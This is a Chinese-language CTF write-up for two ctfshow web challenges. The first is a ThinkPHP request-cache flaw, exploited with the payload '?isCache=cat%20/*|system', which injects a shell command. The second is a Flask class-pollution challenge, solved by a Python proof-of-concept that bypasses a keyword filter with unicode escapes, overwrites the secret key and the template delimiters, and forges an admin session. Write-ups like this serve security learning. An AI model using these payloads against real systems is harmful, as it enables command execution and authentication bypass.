tpdoor
框架为ThinkPHP
<?php
namespace app\controller;
use app\BaseController;
use think\facade\Db;
class Index extends BaseController
{
protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
public function index($isCache = false , $cacheTime = 3600)
{
if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';
}else{
return 'Welcome ,cache is disabled';
}
}
}
isCache值可控即request_cache_key值可控。
考察请求缓存的相关知识,参考https://www.kancloud.cn/manual/thinkphp6_0/1037524
/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php
<?php
/**
* 读取当前地址的请求缓存信息
* @access protected
* @param Request $request
* @param mixed $key
* @return null|string
*/
protected function parseCacheKey($request, $key)
{
if ($key instanceof Closure) {
$key = call_user_func($key, $request);
}
if (false === $key) {
// 关闭当前缓存
return;
}
if (true === $key) {
// 自动缓存功能
$key = '__URL__';
} elseif (str_contains($key, '|')) {
[$key, $fun] = explode('|', $key); //这里对key进行了分割
}
// 特殊规则替换
if (str_contains($key, '__')) {
$key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key);
}
if (str_contains($key, ':')) {
$param = $request->param();
foreach ($param as $item => $val) {
if (is_string($val) && str_contains($key, ':' . $item)) {
$key = str_replace(':' . $item, (string) $val, $key);
}
}
} elseif (str_contains($key, ']')) {
if ('[' . $request->ext() . ']' == $key) {
// 缓存某个后缀的请求
$key = md5($request->url());
} else {
return;
}
}
if (isset($fun)) {
$key = $fun($key); //这里直接裸奔了,无任何过滤
}
return $key;
}
使用
payload
?isCache=cat%20/*|system
访问第二次时触发缓存就会执行命令,但下一次执行其他命令就需要等到缓存消除即3600秒。
easy_polluted
参考文章:https://blog.jacki.cn/2024/07/07/ctfshow-xgctf/#web
app.py
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
利用merge参数来进行原型链污染,修改app.secret,以及模板语法来解析flag。
secret_key 的路径为 init.globals.app.secret_key
模版语法 的路径为 init.globals.app.jinja_env.variable_start_string 和 variable_end_string
import requests
import json
def poc_1(session, url):
headers = {
'Content-Type':'application/json'
}
res = session.post(url=url, headers=headers, data=json.dumps({
r"\u005F\u005F\u0069nit\u005F\u005F": {
r"\u005F\u005F\u0067lobals\u005F\u005F": {
r"\u0061pp": {
"config": {
r"SECRET\u005FKEY": "123"
}
}
}
}
}), proxies={'http':'http://127.0.0.1:8080'})
return res.text
def poc_2(session, url):
headers = {
'Content-Type':'application/json'
}
res = session.post(url=url, headers=headers, data=json.dumps({
r"\u005F\u005F\u0069nit\u005F\u005F": {
r"\u005F\u005F\u0067lobals\u005F\u005F": {
r"\u0061pp": {
r"jinja\u005F\u0065nv": {
r"variable\u005Fstart\u005F\u0073tring": "[#",
r"variable\u005Fend\u005F\u0073tring": "#]"
}
}
}
}
}), proxies={'http':'http://127.0.0.1:8080'})
return res.text
def poc_admin(session, url):
url = url + "/admin"
headers = {
'Cookie': 'session=eyJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiYWRtaW5lciJ9.ZpuAjA.JqS6L3KEVXx-pz3e3hFIDp_8wJ8'
}
res = session.post(url=url, headers=headers, data=json.dumps({
r"\u005F\u005F\u0069nit\u005F\u005F": {
r"\u005F\u005F\u0067lobals\u005F\u005F": {
r"\u0061pp": {
r"jinja\u005F\u0065nv": {
r"variable\u005Fstart\u005F\u0073tring": "[#",
r"variable\u005Fend\u005F\u0073tring": "#]"
}
}
}
}
}), proxies={'http':'http://127.0.0.1:8080'})
return res
if __name__ == '__main__':
url = "http://0ef6feea-2f36-45f4-99b0-f3c0184bafdb.challenge.ctf.show/"
session = requests.Session()
result1 = poc_1(session, url)
print(result1)
result2 = poc_2(session, url)
print(result2)
flag = poc_admin(session, url)
print(flag.text)
使用unicode来绕过关键字过滤。
这个脚本发包时会出现\\
,这里手动去除多余的\
再使用bp发包。
最后访问admin时的jwt可以手动生成,也可以post传参username和password,服务端会返回Cookie。
获取flag (如果在修改模版语法前请求了/admin, 因为模板已经渲染了 无发显示flag 重启环境 先污染再请求/admin)